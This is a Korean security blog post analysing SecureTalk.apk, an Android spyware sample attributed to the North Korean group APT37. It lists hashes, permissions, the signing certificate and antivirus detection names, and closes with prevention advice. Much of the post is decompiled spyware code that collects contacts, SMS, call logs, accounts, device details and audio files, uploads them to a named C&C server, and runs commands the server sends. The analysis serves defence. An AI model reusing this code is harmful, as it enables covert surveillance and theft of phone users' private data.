오늘은 북한 APT37 해킹 단체에서 만든 악성코드인 SecureTalk.apk(2020.9.29)에 대해 글을 적어 보겠습니다. APT37 이라는 것에 대해 알아보고 가야겠습니다. APT37은 FireEye(파이어아이)에서 APT37(Reaper)라는 이름을 붙여 추적 중인 북한의 사이버 스파이 공격자
그룹이며 2012년부터 공격 활동을 하는 해킹 단체로서 APT37은 주로 한국의 공공부문(한국 정부, 군대, 방위산업 기지, 언론 매체)과
민간부문을 표적으로 활동을 해왔고 그러나 APT37은 한반도를 넘어 일본, 베트남, 중동 등 지역은 물론, 화학, 전자, 제조, 항공우주, 자동차, 의료기관 등 다양한 산업군으로 활동범위를 확대해서 공격하고 있습니다.
즉 간단하게 이야기하면 북한의 군사 전략, 정치, 경제적 이익에 유리한 첩보를 은밀히
확보하는 것이 APT37의 주 임무라고 할 수가 있으면 특히 북한 관련 종사자들과 탈북자, 인권운동가들이 메인 타켓이며 치노토(Chinotto)라는 새로운 악성코드를 배포하는 것으로 알려지며 보안 업계을 긴장시키기도 했습니다.
해당 악성코드인 SecureTalk은 사용자 모르게 장치에서 개인 데이터를 훔치는 데 목적을 두고 있으며 스마트폰의 연락처 데이터, SMS 데이터, 통화 기록, 장치 정보 및 장치의 외부 저장소 파일과 같은 민감한 데이터에 접근해서 데이터를 훔치는 작업을 합니다.
먼저 해쉬값을 보겠습니다.
파일명:SecureTalk.apk
사이즈:2.00 MB
[소프트웨어 팁/보안 및 분석] - 북한 에서 만든것으로 추정 되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡)
CRC32:a615e90d
MD5:71b63d2c839c765f1f110dc898e79d67
SHA-1:95f08250ac90aabb4c94811d75e34cedabdcaf62
SHA-256:8fb42bb9061ccbb30c664e41b1be5787be5901b4df2c0dc1839499309f2d9d93
입니다.
해당 악성코드 안드로이드 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
기본적으로 문자 읽기, 스마트폰 계정 목록을 가져오기, 외장 디스크 읽기 및 쓰기, 스마트폰 전화 연락처 접근, 스마트폰 통화 기록 접근 등 권한이 있는 것을 확인할 수가 있습니다.
악성코드의 런처 는 다음과 같습니다.
Activity android:name="com.secure.security.activity.SplashActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
그리고 스마트폰에서 사용자의 연락처를 훔치는 코드는 다음과 같습니다.
com.secure.security.application.App 에 있으며 다음과 같습니다.
private String getContactList() {
String retVal = "";
ContentResolver cr = getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
if ((cur != null ? cur.getCount() : 0) > 0) {
while (cur != null && cur.moveToNext()) {
String id = cur.getString(cur.getColumnIndex("_id"));
String name = cur.getString(cur.getColumnIndex("display_name"));
if (cur.getInt(cur.getColumnIndex("has_phone_number")) > 0) {
Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = ?", new String[]{id}, null);
while (pCur.moveToNext()) {
retVal = retVal + name + " : " + pCur.getString(pCur.getColumnIndex("data1")) + " ";
}
pCur.close();
}
}
}
if (cur != null) {
cur.close();
}
return retVal;
}
}
스마트폰의 SMS 즉 문자를 훔치는 코드들은 다음과 같습니다.
private JSONObject getAllSMSJSON() throws JSONException {
String strType;
JSONObject json = new JSONObject();
Cursor cursor = getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
JSONArray recordArr = new JSONArray();
cursor.moveToFirst();
while (!cursor.isAfterLast()) {
String strNumber = cursor.getString(1);
String strName = cursor.getString(2);
String strBody = cursor.getString(3);
SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Long timestamp = Long.valueOf(Long.parseLong(cursor.getString(4)));
String strTime = sfd.format(new Date(timestamp.longValue()));
int i = cursor.getInt(5);
if (i == 1) {
strType = "Received";
} else if (i != 2) {
strType = "";
} else {
strType = "Sent";
}
JSONObject recordObj = new JSONObject();
recordObj.put("NUMBER", strNumber);
recordObj.put("NAME", strName);
recordObj.put("TYPE", strType);
recordObj.put("DATETIME", strTime);
recordObj.put("DATETIME_MILLIS", timestamp);
recordObj.put("BODY", strBody);
recordArr.put(recordObj);
cursor.moveToNext();
}
json.put("COUNT", recordArr.length());
json.put("CREATED_DATE", Util.timestampToLongString(System.currentTimeMillis()));
json.put("DATA", recordArr);
cursor.close();
return json;
}
스마트폰의 통화 기록을 훔치는 코드는 다음과 같습니다.
private JSONObject getCallLogJSON() throws JSONException {
JSONObject json = new JSONObject();
ContentResolver cr = getContentResolver();
if (ActivityCompat.checkSelfPermission(this, "android.permission.READ_CALL_LOG") != 0) {
return json;
}
Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, new String[]{"number", "name", "type", "date", "duration"}, null, null, "date DESC");
JSONArray recordArr = new JSONArray();
if (cursor == null) {
return json;
}
cursor.moveToFirst();
while (!cursor.isAfterLast()) {
JSONObject recordObj = new JSONObject();
String strNumber = cursor.getString(0);
String strName = cursor.getString(1);
String strType = "";
int i = cursor.getInt(2);
if (i == 1) {
strType = "Incoming";
} else if (i == 2) {
strType = "Outgoing";
} else if (i == 3) {
strType = "Missed";
}
SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Long timestamp = Long.valueOf(Long.parseLong(cursor.getString(3)));
String strTime = sfd.format(new Date(timestamp.longValue()));
long duration = cursor.getLong(4);
recordObj.put("NUMBER", strNumber);
recordObj.put("NAME", strName);
recordObj.put("TYPE", strType);
recordObj.put("DATETIME", strTime);
recordObj.put("DATETIME_MILLIS", timestamp);
recordObj.put("DURATION", duration);
recordObj.put("DURATION_STR", "" + (duration / 60) + "m " + (duration % 60) + "s");
recordArr.put(recordObj);
cursor.moveToNext();
cr = cr;
}
json.put("COUNT", recordArr.length());
json.put("CREATED_DATE", Util.timestampToLongString(System.currentTimeMillis()));
json.put("DATA", recordArr);
cursor.close();
return json;
}
그리고 com.secure.security.helper.PhoneHelper 에서는 악성코드의 희생자가 되는 스마트폰의 정보를 훔치는 것을 볼 수가 있습니다.
훔치는 정보는 다음과 같습니다.
기기의 전화번호 읽기,
안드로이드 운영체제 버전 정보 읽기
스마트폰 이름(예를 들어서 삼성 갤럭시), 스마트폰 모델, 스마트폰 일련번호 같은 스마트폰의 세부 정보는
요즈음 삼성 갤럭시 S21부터는 UFS 3.1 규격 내장 메모리를 사용하므로 이런 장치의 외부 저장소 즉 마이크로 SD가 있는지 확인을 하는 작업을 볼 수가 있습니다.
public static String getPhoneInfo(Context context) {
String externalSdCardState;
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
String phone_number = "";
if (!(ActivityCompat.checkSelfPermission(context, "android.permission.READ_SMS") == 0 || ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_NUMBERS") == 0 || ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") == 0 || telephonyManager == null)) {
phone_number = telephonyManager.getLine1Number();
}
String details = "VERSION.RELEASE : " + Build.VERSION.RELEASE + "\nVERSION.INCREMENTAL : " + Build.VERSION.INCREMENTAL + "\nVERSION.SDK.NUMBER : " + Build.VERSION.SDK_INT + "\nBOARD : " + Build.BOARD + "\nBOOTLOADER : " + Build.BOOTLOADER + "\nBRAND : " + Build.BRAND + "\nCPU_ABI : " + Build.CPU_ABI + "\nCPU_ABI2 : " + Build.CPU_ABI2 + "\nDISPLAY : " + Build.DISPLAY + "\nFINGERPRINT : " + Build.FINGERPRINT + "\nHARDWARE : " + Build.HARDWARE + "\nHOST : " + Build.HOST + "\nID : " + Build.ID + "\nMANUFACTURER : " + Build.MANUFACTURER + "\nMODEL : " + Build.MODEL + "\nPRODUCT : " + Build.PRODUCT + "\nSERIAL : " + Build.SERIAL + "\nTAGS : " + Build.TAGS + "\nTIME : " + Build.TIME + "\nTYPE : " + Build.TYPE + "\nUNKNOWN : " + EnvironmentCompat.MEDIA_UNKNOWN + "\nUSER : " + Build.USER;
if (ExternalStorage.isExternalSdCardExist()) {
externalSdCardState = "\nEXTERNAL_STORAGE : EXIST";
} else {
externalSdCardState = "\nEXTERNAL_STORAGE : NON-EXIST";
}
return ("PHONENUMBER : " + phone_number + "\n" + details) + externalSdCardState;
}
그리고 스마트폰의 사용 중인 계정 정보의 접근을 해서 세부 정보를 훔치는 코드들도 있습니다.
private JSONObject getAllAccounts() throws JSONException {
JSONArray accArray = new JSONArray();
Account[] accounts = AccountManager.get(this).getAccounts();
for (Account account : accounts) {
JSONObject acc = new JSONObject();
acc.put("NAME", account.name);
acc.put("TYPE", account.type);
accArray.put(acc);
}
JSONObject json = new JSONObject();
json.put("COUNT", accounts.length);
json.put("CREATED_DATE", Util.timestampToLongString(System.currentTimeMillis()));
json.put("ACCOUNTS", accArray);
return json;
com.secure.security.application.App 에서는 스마트폰에 있는 오디오,이미지 파일을 훔치는 것도 확인할 수가 있습니다. 즉 통화 녹음 파일이나 이런 중요한 파일들도 훔치는 대상이 됩니다.
if (bUploadFile) {
processImportantFile(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES), "");
Iterator<String> it = ExternalStorage.getStoragePath().iterator();
while (it.hasNext()) {
String sdPath = it.next();
for (String path : Gloabal.DATA_PATHS) {
processImportantFile(new File(sdPath + path), "");
}
}
processImportantFile(Environment.getDataDirectory(), ".amr");
processImportantFile(Environment.getExternalStorageDirectory(), ".amr");
uploadToWeb();
}
}
그리고 나서 스마트폰의 데이터를 훔치고 나서 데이터를 텍스트 파일로 저장하는 것을 볼 수가 있습니다.
public void sendHello(boolean bUploadInfo, boolean bUploadFile) {
if (bUploadInfo) {
File sampleDir = new File(getCacheDir(), Gloabal.WEB_TEMP_DATA_PATH);
FileHelper.makeDir(sampleDir.getAbsolutePath());
if (!sendHttpRequest(Gloabal.DO_URL + "?type=hello&direction=send&id=" + this.m_strMyInfo).equals(Gloabal.ERROR_VALUE)) {
try {
FileHelper.writeTextToFile(sampleDir.getAbsolutePath() + "/Info.txt", PhoneHelper.getPhoneInfo(getApplicationContext()) + NetHelper.getIPAddress(true) + " " + String.valueOf(Build.VERSION.SDK_INT) + " " + getApplicationContext().getCacheDir() + Gloabal.TEMP_FILE_PATH);
} catch (Exception e) {
e.printStackTrace();
}
if (getApplicationContext().checkPermission("android.permission.READ_SMS", Process.myPid(), Process.myUid()) == 0) {
try {
FileHelper.writeTextToFile(sampleDir.getAbsolutePath() + "/Sms.txt", getAllSMSJSON().toString());
} catch (JSONException e2) {
e2.printStackTrace();
}
}
if (getApplicationContext().checkPermission("android.permission.READ_CALL_LOG", Process.myPid(), Process.myUid()) == 0) {
try {
FileHelper.writeTextToFile(sampleDir.getAbsolutePath() + "/Calllog.txt", getCallLogJSON().toString());
} catch (JSONException e3) {
e3.printStackTrace();
}
}
if (getApplicationContext().checkPermission("android.permission.READ_CONTACTS", Process.myPid(), Process.myUid()) == 0) {
try {
FileHelper.writeTextToFile(sampleDir.getAbsolutePath() + "/Contact.txt", getContactList());
} catch (Exception e4) {
e4.printStackTrace();
}
}
if (getApplicationContext().checkPermission("android.permission.GET_ACCOUNTS", Process.myPid(), Process.myUid()) == 0) {
try {
FileHelper.writeTextToFile(sampleDir.getAbsolutePath() + "/Account.txt", getAllAccounts().toString());
} catch (JSONException e5) {
e5.printStackTrace();
}
}
uploadToWeb();
} else {
return;
}
}
그리고 해당 C&C 서버에 데이터를 업로드 하기 위한 코드들은 다음과 같습니다.
public void uploadToWeb() {
File sampleDir = new File(getApplicationContext().getCacheDir(), Gloabal.WEB_TEMP_DATA_PATH);
if (!sampleDir.exists()) {
FileHelper.makeDir(sampleDir.getAbsolutePath());
}
try {
ZipHelper.zipFolder(sampleDir.getAbsolutePath(), new File(getApplicationContext().getCacheDir(), Gloabal.WEB_TEMP_ZIP_PATH).getAbsolutePath());
} catch (Exception e) {
}
String filepath = new SimpleDateFormat("yyyy-MM-dd_hh:mm:ss").format(new Date());
String to_url = Gloabal.DO_URL + "?type=file&direction=send&id=" + this.m_strMyInfo;
String attachment_filename = this.m_strMyInfo + "____" + FileHelper.getSimpleName(filepath);
LogUtil.m3d("----start uploading, url=%s, an=%s, afn=%s", to_url, Gloabal.POST_UPLOAD_FILE, attachment_filename);
LogUtil.m3d("----finish uploading : %s", NetHelper.uploadFile(getApplicationContext().getCacheDir() + Gloabal.WEB_TEMP_ZIP_PATH, to_url, Gloabal.POST_UPLOAD_FILE, attachment_filename));
FileHelper.deleteFile(getApplicationContext().getCacheDir() + Gloabal.WEB_ENC_PATH);
FileHelper.deleteAllFilesInFolder(getApplicationContext().getCacheDir() + Gloabal.WEB_TEMP_DATA_PATH);
FileHelper.deleteFile(getApplicationContext().getCacheDir() + Gloabal.WEB_TEMP_ZIP_PATH);
}
com.secure.security.config.Gloabal 에 보면 업로드 하는 주소가 표시된 것을 볼수가 있습니다.
public static String DO_URL = "http://haeundaejugong(.)com/data/jugong/do.php";
public static String APP_URL = "http://haeundaejugong(.)com/data/app.php";
그리고 APT37 조직이 악성코드에 정의한 명령어는 다음과 같습니다.
public void processCommand() {
initializeVariable();
new Thread(new Runnable() { // from class: com.secure.security.application.App.4
@Override // java.lang.Runnable
public void run() {
FileHelper.makeDir(new File(App.this.getCacheDir(), Gloabal.WEB_TEMP_DATA_PATH).getAbsolutePath());
App app = App.this;
if (!app.sendHttpRequest(Gloabal.DO_URL + "?type=hello&direction=send&id=" + App.this.m_strMyInfo).equals(Gloabal.ERROR_VALUE)) {
App app2 = App.this;
String command = app2.sendHttpRequest(Gloabal.DO_URL + "?type=command&direction=receive&id=" + App.this.m_strMyInfo);
if (command.equals(Gloabal.ERROR_VALUE) || command.contains("Fail")) {
return;
}
if (command.contains("ref:")) {
App app3 = App.this;
app3.sendHttpRequest(Gloabal.DO_URL + "?type=hello&direction=send&id=" + App.this.m_strMyInfo);
} else if (command.equals("down")) {
App.this.uploadFile(Gloabal.TEMP_FILE_PATH);
FileHelper.deleteFile(Gloabal.TEMP_FILE_PATH);
} else if (command.equals("UriP")) {
String commandResult = Gloabal.TEMP_FILE_PATH;
FileHelper.writeTextToFile(App.this.getApplicationContext().getCacheDir() + Gloabal.RESULT_FILE_PATH, commandResult);
App.this.uploadResult();
} else if (command.equals("UploadInfo")) {
App.this.sendHello(true, false);
} else if (command.equals("UploadFile")) {
App.this.sendHello(false, true);
} else if (!command.equals("")) {
String commandResult2 = PhoneHelper.RunCommand(App.this.getApplicationContext(), command);
FileHelper.writeTextToFile(App.this.getApplicationContext().getCacheDir() + Gloabal.RESULT_FILE_PATH, commandResult2);
App.this.uploadResult();
}
}
}
}).start();
}
악성코드에 포함된 인터넷 주소
http://haeundaejugong(.)com/data/jugong/do.php
K-.Ki(.)Ki/K-.
http://schemas.android(.)com/apk/res/android
http://haeundaejugong(.)com/data/app.php
악성코드 인증서 정보는 다음과 같습니다.
서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x2eef1e3b
소유자: CN=Nastcha, OU=Toy, O=Toy, L=Hill, ST=Washinton, C=US
유효 시작 시각: Thu Aug 06 11:33:14 GMT+09:00 2020
유효 종료 시각: Mon Jul 31 11:33:14 GMT+09:00 2045
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 2048
모듈러스: 18268195131663521381938555195425937931146611031748537722528731724102404417571508668349113653753105071715087926742224460595188626058606985528220473294493831149344353439672760432934113828340157695085497454700940573077673365466320613888570427563235300062221534135617599462169551103382527114495967092297631946552757155697840028534993036556027627832056071456086624543880624399851126336253007410404220097050576725092749167113836361548937487634644477549501263474861159105042051535212973426139885313046417331576917096803097742740614884847196481457435948549285915384530446954317087091196496236212887122515528009161623668355079
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
그러면 작동 방식은 다음과 같습니다.
C&C 서버에 전송->.temp-file.dat 파일 업로드->.temp-file.dat 를 에 /result-file.dat 쓰고 파일 C&C에 업로드 ->결과를 result-file.dat에 기록하고 C&C에 업로드 그리고 APT37 해킹 단체들이 만들어 놓은 C&C 서버에 연락처, 통화 기록, SMS와 같은 스마트폰 사용자의 민감한 데이터를 장치에서 C&C로 업로드를 하는 것을 볼 수가 있습니다.
Chinotto는 특정 사용자를 대상으로 연락처, SMS, 통화 기록 및 파일과 같은 민감한 정보를 훔치는 안드로이드 스파이웨어 그리고 피해자가 알지 못하는 사이에 장치에서 오디오를 녹음할 수 있는 기능도 포함이 되어져 있는 것을 확인할 수가 있으며 예방 방법은 다음과 같습니다.
2021-12-13 14:54:23 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.Agent.1010572
Alibaba:Trojan:Android/Boogr.22701694
Antiy-AVL:Trojan/Generic.ASMalwAD.8
Avast-Mobile:APK:RepSandbox [Trj]
Avira (no cloud):ANDROID/Agent.FHQP.Gen
BitDefenderFalx:Android.Trojan.KevDroid.C
CAT-QuickHeal:Android.Boogr.Acd10
ClamAV:Andr.Trojan.KevDroid-6487464-0
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.795.origin
ESET-NOD32:A Variant Of Android/KevDroid.B
F-Secure:Malware.ANDROID/Agent.FHQP.Gen
Fortinet:Android/KevDroid.B!tr
Ikarus:Trojan-Spy.AndroidOS.KevDroid
K7GW:Trojan ( 005336cf1 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Chinotto.b
Lionic:Trojan.AndroidOS.Boogr.C!c
McAfee:Artemis!71B63D2C839C
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/Agent.CR
NANO-Antivirus:Trojan.Android.KevDroid.jinlee
Sophos:Andr/Spy-BGE
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
Tencent:A.privacy.RatKevDroid
Trustlook:Android.Malware.Spyware
Zillya:Trojan.KevDroid.Android.10
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.강력한 암호를 사용하고 가능하면 이단계 인증 사용 권장
6.스마트폰으로 전송이 된 문자 또는 이메일 링크를 함부로 클릭 하지 말기
7.안드로이드 스마트폰에서 기본적으로 Google Play 프로텍트가 활성화돼 있습니다. 해당 기능이 활성화돼 있는지 확인(확인 방법 구글 플레이 스토어 실행 자신의 프로필 선택->Play 프로텍트 활성화
->톱니바퀴->Play 프로텍트 로 앱검사 활성화,유해 앱 감지 기능 개선(이것은 사용자 취향)
8. 스마트폰 앱 실행 시 모든 권한을 활성화 주의
9. 스마트폰 펌웨어, 운영 체제 및 응용 프로그램을 최신 상태로 유지
악성코드가 감염되었다고 의심되는 경우 행동
경우에 따라 멀웨어가 모바일 데이터를 다시 활성화할 수 있으므로 Wi-Fi(와이파이),모바일 데이터를 비활성화하고 SIM 카드(유심)를 제거공장 초기화
공장 초기화가 불가능한 경우 응용 프로그램을 제거
개인 미디어 파일(모바일 애플리케이션 제외)을 백업하고 기기를 초기화
보이스 피싱 같은 피해가 발생을 했으면 다른 스마트폰 등으로 112 전화 및 자신이 사용하는 은행에 도움 요청 및 신고
이런 악성코드로부터 보호하는 방법
뉴스 등에서는 문자 클릭 금지, 어플 삭제하라고 하지만 능동적으로 대처하는 방법은 백신 어플(백신 어플은 AV-TEST에서 성적이 좋은 제품 사용 권장 무료도 있지만 대부분 유료 무료이더라도 기능 제한) 및 후후,후스콜 같은 어플로 능동적으로 대처
기본적인 보안 수칙을 지키는 것이 안전하게 스마트폰을 사용하는 방법입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
교통범칙금 통지 문자 사칭 스미싱 악성코드-경찰청교통민원24(이파인,2021.12.13) (6) | 2022.01.07 |
---|---|
안드로이드 채팅 악성코드-나만의 공간.apk (2) | 2021.12.30 |
아비라 팬텀 VPN(Avira Phantom VPN) 간단 테스트 (0) | 2021.12.20 |
파이어폭스 95.0.1 Microsoft.com 연결 문제 및 기타 버그를 수정 (0) | 2021.12.17 |
윈도우 10 KB5008212&KB5008206 보안 업데이트 (0) | 2021.12.16 |
무료 백신 Bitdefender Antivirus Free Edition 2021년12월31일 사용 종료 (2) | 2021.12.11 |
구글 플레이 스토어 에서 유포 되는 악성코드-Beauty Camera Photo Editor (6) | 2021.12.09 |
모질라 파이어폭스 95.0 보안 업데이트 (0) | 2021.12.08 |